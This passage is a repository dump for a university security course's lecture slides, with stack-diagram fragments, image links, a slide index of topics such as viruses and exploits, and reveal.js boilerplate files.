13 | stack
14 |
15 | value of rdi
16 |
17 | return address
18 |
19 | local variable (3)
20 |
21 | value of rbx
22 |
23 | value of rbp
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-stack.dot.8.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | H
11 |
12 |
13 | stack
14 |
15 | value of rdi
16 |
17 | return address
18 |
19 | local variable (126)
20 |
21 | value of rbx
22 |
23 | value of rbp
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-stack.dot.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | A
11 |
12 |
13 | stack
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/nfa-part-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/nfa-part-1.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/nfa-part-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/nfa-part-2.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/nfa-part-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/nfa-part-3.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/nfa-part-4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/nfa-part-4.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/nfa-part-5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/nfa-part-5.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/regex-as-dfa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/regex-as-dfa.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/regex-completed-with-circle.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/regex-completed-with-circle.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/regex-completed.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/regex-completed.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/regex-part-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/regex-part-1.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/regex-part-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/regex-part-2.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/regex-part-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/regex-part-3.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/regex-part-4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/regex-part-4.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/regex-tree.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/regex-tree.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/transition-diagram-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/transition-diagram-1.png
--------------------------------------------------------------------------------
/slides/images/05-re-and-lex/transition-diagram-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/05-re-and-lex/transition-diagram-2.png
--------------------------------------------------------------------------------
/slides/images/06-file-viruses/virus-appending.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/06-file-viruses/virus-appending.png
--------------------------------------------------------------------------------
/slides/images/06-file-viruses/virus-cavity.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/06-file-viruses/virus-cavity.png
--------------------------------------------------------------------------------
/slides/images/06-file-viruses/virus-compressing.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/06-file-viruses/virus-compressing.png
--------------------------------------------------------------------------------
/slides/images/06-file-viruses/virus-epo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/06-file-viruses/virus-epo.png
--------------------------------------------------------------------------------
/slides/images/06-file-viruses/virus-iat-replacement.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/06-file-viruses/virus-iat-replacement.png
--------------------------------------------------------------------------------
/slides/images/06-file-viruses/virus-overwrite-beginning.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/06-file-viruses/virus-overwrite-beginning.png
--------------------------------------------------------------------------------
/slides/images/06-file-viruses/virus-overwrite-random.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/06-file-viruses/virus-overwrite-random.png
--------------------------------------------------------------------------------
/slides/images/06-file-viruses/virus-overwrite-replacement.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/06-file-viruses/virus-overwrite-replacement.png
--------------------------------------------------------------------------------
/slides/images/08-advanced-viruses/dos-ivt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/08-advanced-viruses/dos-ivt.png
--------------------------------------------------------------------------------
/slides/images/08-advanced-viruses/hooked-interrupt-chain.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/08-advanced-viruses/hooked-interrupt-chain.png
--------------------------------------------------------------------------------
/slides/images/08-advanced-viruses/hooked-interrupt-valid.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/08-advanced-viruses/hooked-interrupt-valid.png
--------------------------------------------------------------------------------
/slides/images/08-advanced-viruses/hooked-interrupt-virus-chain.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/08-advanced-viruses/hooked-interrupt-virus-chain.png
--------------------------------------------------------------------------------
/slides/images/08-advanced-viruses/hooked-interrupt-virus-tunneled.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/08-advanced-viruses/hooked-interrupt-virus-tunneled.png
--------------------------------------------------------------------------------
/slides/images/08-advanced-viruses/hooked-interrupt-virus.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/08-advanced-viruses/hooked-interrupt-virus.png
--------------------------------------------------------------------------------
/slides/images/08-advanced-viruses/stack-diagram.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/08-advanced-viruses/stack-diagram.png
--------------------------------------------------------------------------------
/slides/images/09-adv-code-tech/ngvck.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/09-adv-code-tech/ngvck.gif
--------------------------------------------------------------------------------
/slides/images/09-adv-code-tech/vcl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/09-adv-code-tech/vcl.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/caesar-cipher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/caesar-cipher.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/cipher-taxonomy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/cipher-taxonomy.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/dagapeyeff-cipher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/dagapeyeff-cipher.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/enigma-machine.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/enigma-machine.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/license-plate.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/license-plate.jpg
--------------------------------------------------------------------------------
/slides/images/11-encryption/rotor-machine.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rotor-machine.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-1-a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-1-a.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-1-b.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-1-b.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-1-c.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-1-c.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-1-d.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-1-d.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-1-e.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-1-e.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-1-f.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-1-f.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-1-top.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-1-top.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-2-a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-2-a.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-2-b.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-2-b.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-2-c.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-2-c.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-2-d.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-2-d.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-2-e.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-2-e.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-2-f.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-2-f.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-2-top.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-2-top.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-com-bars.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-com-bars.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-communication-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-communication-1.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/rsa-communication-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/rsa-communication-2.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/ssh-bad.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/ssh-bad.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/ssh-good.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/ssh-good.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/tcpdump.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/tcpdump.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/vigenere-cipher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/vigenere-cipher.png
--------------------------------------------------------------------------------
/slides/images/11-encryption/war-munition-1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/war-munition-1.jpg
--------------------------------------------------------------------------------
/slides/images/11-encryption/war-munition-2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/11-encryption/war-munition-2.jpg
--------------------------------------------------------------------------------
/slides/images/buffer-overflows/overflow-stack-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/buffer-overflows/overflow-stack-1.png
--------------------------------------------------------------------------------
/slides/images/buffer-overflows/overflow-stack-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/buffer-overflows/overflow-stack-2.png
--------------------------------------------------------------------------------
/slides/images/buffer-overflows/overflow-stack-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/buffer-overflows/overflow-stack-3.png
--------------------------------------------------------------------------------
/slides/images/buffer-overflows/return-to-stack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/buffer-overflows/return-to-stack.png
--------------------------------------------------------------------------------
/slides/images/exploits/canary-stack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/exploits/canary-stack.png
--------------------------------------------------------------------------------
/slides/images/exploits/format-string-attack-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/exploits/format-string-attack-1.png
--------------------------------------------------------------------------------
/slides/images/exploits/format-string-attack-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/exploits/format-string-attack-2.png
--------------------------------------------------------------------------------
/slides/images/exploits/off-by-one.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/exploits/off-by-one.png
--------------------------------------------------------------------------------
/slides/images/exploits/stack-buffer-overflow-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/exploits/stack-buffer-overflow-1.png
--------------------------------------------------------------------------------
/slides/images/exploits/stack-buffer-overflow-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/exploits/stack-buffer-overflow-2.png
--------------------------------------------------------------------------------
/slides/images/print-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/print-icon.png
--------------------------------------------------------------------------------
/slides/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Defense Against the Dark Arts: Slides
8 |
9 |
10 |
11 |
12 | Defense Against the Dark Arts: Slides
13 | Go up to the main readme file (md )
14 | Note that a bug in current versions of Firefox will prevent the font used in the slides from displaying correctly; Google Chrome does not have this bug, and displays the slides correctly.
15 | Please note that the slides are generally not finalized until the day of lecture, and some of the links may not work until the lecture is ready to be presented.
16 | Daily announcements (UVa specific)
17 |
18 | Course introduction (UVa specific)
19 | Terminology
20 | Virtual Machines
21 | Assembly
22 | Regular expressions and lex
23 | File viruses
24 | Assembly obfuscations
25 | Advanced viruses
26 | Advanced virus coding techniques
27 | SQL & XSS
28 | Encryption
29 | Rootkits
30 | Stuxnet
31 | Buffer overflows
32 | Exploits
33 | Course reflection
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/slides/index.md:
--------------------------------------------------------------------------------
1 | Defense Against the Dark Arts: Slides
2 | =====================================
3 |
4 | [Go up to the main readme file](../readme.html) ([md](../readme.md))
5 |
6 | Note that a [bug](https://bugzilla.mozilla.org/show_bug.cgi?id=760436)
7 | in current versions of Firefox will prevent the font used in the
8 | slides from displaying correctly; Google Chrome does not have this
9 | bug, and displays the slides correctly.
10 |
11 | Please note that the slides are generally not finalized until the day
12 | of lecture, and some of the links may not work until the lecture is
13 | ready to be presented.
14 |
15 | [Daily announcements](../uva/daily-announcements.html#/) (UVa specific)
16 |
17 | 1. [Course introduction](01-intro.html#/) (UVa specific)
18 | 2. [Terminology](02-terminology.html#/)
19 | 3. [Virtual Machines](03-vms.html#/)
20 | 4. [Assembly](04-assembly.html#/)
21 | 5. [Regular expressions and lex](05-re-and-lex.html#/)
22 | 6. [File viruses](06-file-viruses.html#/)
23 | 7. [Assembly obfuscations](07-obfuscations.html#/)
24 | 8. [Advanced viruses](08-advanced-viruses.html#/)
25 | 9. [Advanced virus coding techniques](09-adv-code-tech.html#/)
26 | 10. [SQL & XSS](10-sql-and-xss.html#/)
27 | 11. [Encryption](11-encryption.html#/)
28 | 12. [Rootkits](12-rootkits.html#/)
29 | 13. [Stuxnet](13-stuxnet.html#/)
30 | 14. [Buffer overflows](14-buffer-overflows.html#/)
31 | 15. [Exploits](15-exploits.html#/)
32 | 16. [Course reflection](course-reflection.html#/)
33 |
--------------------------------------------------------------------------------
/slides/reveal.js/.gitignore:
--------------------------------------------------------------------------------
1 | .idea/
2 | *.iml
3 | *.iws
4 | *.eml
5 | out/
6 | .DS_Store
7 | .svn
8 | log/*.log
9 | tmp/**
10 | node_modules/
11 | .sass-cache
12 | css/reveal.min.css
13 | js/reveal.min.js
--------------------------------------------------------------------------------
/slides/reveal.js/.travis.yml:
--------------------------------------------------------------------------------
1 | language: node_js
2 | node_js:
3 | - 4.1.1
4 | before_script:
5 | - npm install -g grunt-cli
--------------------------------------------------------------------------------
/slides/reveal.js/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | ## Contributing
2 |
3 | Please keep the [issue tracker](http://github.com/hakimel/reveal.js/issues) limited to **bug reports**, **feature requests** and **pull requests**.
4 |
5 |
6 | ### Personal Support
7 | If you have personal support or setup questions the best place to ask those are [StackOverflow](http://stackoverflow.com/questions/tagged/reveal.js).
8 |
9 |
10 | ### Bug Reports
11 | When reporting a bug make sure to include information about which browser and operating system you are on as well as the necessary steps to reproduce the issue. If possible please include a link to a sample presentation where the bug can be tested.
12 |
13 |
14 | ### Pull Requests
15 | - Should follow the coding style of the file you work in, most importantly:
16 | - Tabs to indent
17 | - Single-quoted strings
18 | - Should be made towards the **dev branch**
19 | - Should be submitted from a feature/topic branch (not your master)
20 |
21 |
22 | ### Plugins
23 | Please do not submit plugins as pull requests. They should be maintained in their own separate repository. More information here: https://github.com/hakimel/reveal.js/wiki/Plugin-Guidelines
24 |
--------------------------------------------------------------------------------
/slides/reveal.js/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (C) 2017 Hakim El Hattab, http://hakim.se, and reveal.js contributors
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy
4 | of this software and associated documentation files (the "Software"), to deal
5 | in the Software without restriction, including without limitation the rights
6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7 | copies of the Software, and to permit persons to whom the Software is
8 | furnished to do so, subject to the following conditions:
9 |
10 | The above copyright notice and this permission notice shall be included in
11 | all copies or substantial portions of the Software.
12 |
13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
19 | THE SOFTWARE.
--------------------------------------------------------------------------------
/slides/reveal.js/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "reveal.js",
3 | "version": "3.5.0",
4 | "main": [
5 | "js/reveal.js",
6 | "css/reveal.css"
7 | ],
8 | "homepage": "http://lab.hakim.se/reveal-js/",
9 | "license": "MIT",
10 | "description": "The HTML Presentation Framework",
11 | "authors": [
12 | "Hakim El Hattab "
13 | ],
14 | "dependencies": {
15 | "headjs": "~1.0.3"
16 | },
17 | "repository": {
18 | "type": "git",
19 | "url": "git://github.com/hakimel/reveal.js.git"
20 | },
21 | "ignore": [
22 | "**/.*",
23 | "node_modules",
24 | "bower_components",
25 | "test"
26 | ]
27 | }
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/README.md:
--------------------------------------------------------------------------------
1 | ## Dependencies
2 |
3 | Themes are written using Sass to keep things modular and reduce the need for repeated selectors across files. Make sure that you have the reveal.js development environment including the Grunt dependencies installed before proceeding: https://github.com/hakimel/reveal.js#full-setup
4 |
5 | ## Creating a Theme
6 |
7 | To create your own theme, start by duplicating a ```.scss``` file in [/css/theme/source](https://github.com/hakimel/reveal.js/blob/master/css/theme/source). It will be automatically compiled by Grunt from Sass to CSS (see the [Gruntfile](https://github.com/hakimel/reveal.js/blob/master/Gruntfile.js)) when you run `grunt css-themes`.
8 |
9 | Each theme file does four things in the following order:
10 |
11 | 1. **Include [/css/theme/template/mixins.scss](https://github.com/hakimel/reveal.js/blob/master/css/theme/template/mixins.scss)**
12 | Shared utility functions.
13 |
14 | 2. **Include [/css/theme/template/settings.scss](https://github.com/hakimel/reveal.js/blob/master/css/theme/template/settings.scss)**
15 | Declares a set of custom variables that the template file (step 4) expects. Can be overridden in step 3.
16 |
17 | 3. **Override**
18 | This is where you override the default theme. Either by specifying variables (see [settings.scss](https://github.com/hakimel/reveal.js/blob/master/css/theme/template/settings.scss) for reference) or by adding any selectors and styles you please.
19 |
20 | 4. **Include [/css/theme/template/theme.scss](https://github.com/hakimel/reveal.js/blob/master/css/theme/template/theme.scss)**
21 | The template theme file which will generate final CSS output based on the currently defined variables.
22 |
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/source/beige.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * Beige theme for reveal.js.
3 | *
4 | * Copyright (C) 2011-2012 Hakim El Hattab, http://hakim.se
5 | */
6 |
7 |
8 | // Default mixins and settings -----------------
9 | @import "../template/mixins";
10 | @import "../template/settings";
11 | // ---------------------------------------------
12 |
13 |
14 |
15 | // Include theme-specific fonts
16 | @import url(../../lib/font/league-gothic/league-gothic.css);
17 | @import url(https://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic);
18 |
19 |
20 | // Override theme settings (see ../template/settings.scss)
21 | $mainColor: #333;
22 | $headingColor: #333;
23 | $headingTextShadow: none;
24 | $backgroundColor: #f7f3de;
25 | $linkColor: #8b743d;
26 | $linkColorHover: lighten( $linkColor, 20% );
27 | $selectionBackgroundColor: rgba(79, 64, 28, 0.99);
28 | $heading1TextShadow: 0 1px 0 #ccc, 0 2px 0 #c9c9c9, 0 3px 0 #bbb, 0 4px 0 #b9b9b9, 0 5px 0 #aaa, 0 6px 1px rgba(0,0,0,.1), 0 0 5px rgba(0,0,0,.1), 0 1px 3px rgba(0,0,0,.3), 0 3px 5px rgba(0,0,0,.2), 0 5px 10px rgba(0,0,0,.25), 0 20px 20px rgba(0,0,0,.15);
29 |
30 | // Background generator
31 | @mixin bodyBackground() {
32 | @include radial-gradient( rgba(247,242,211,1), rgba(255,255,255,1) );
33 | }
34 |
35 |
36 |
37 | // Theme template ------------------------------
38 | @import "../template/theme";
39 | // ---------------------------------------------
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/source/black.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * Black theme for reveal.js. This is the opposite of the 'white' theme.
3 | *
4 | * By Hakim El Hattab, http://hakim.se
5 | */
6 |
7 |
8 | // Default mixins and settings -----------------
9 | @import "../template/mixins";
10 | @import "../template/settings";
11 | // ---------------------------------------------
12 |
13 |
14 | // Include theme-specific fonts
15 | @import url(../../lib/font/source-sans-pro/source-sans-pro.css);
16 |
17 |
18 | // Override theme settings (see ../template/settings.scss)
19 | $backgroundColor: #222;
20 |
21 | $mainColor: #fff;
22 | $headingColor: #fff;
23 |
24 | $mainFontSize: 42px;
25 | $mainFont: 'Source Sans Pro', Helvetica, sans-serif;
26 | $headingFont: 'Source Sans Pro', Helvetica, sans-serif;
27 | $headingTextShadow: none;
28 | $headingLetterSpacing: normal;
29 | $headingTextTransform: uppercase;
30 | $headingFontWeight: 600;
31 | $linkColor: #42affa;
32 | $linkColorHover: lighten( $linkColor, 15% );
33 | $selectionBackgroundColor: lighten( $linkColor, 25% );
34 |
35 | $heading1Size: 2.5em;
36 | $heading2Size: 1.6em;
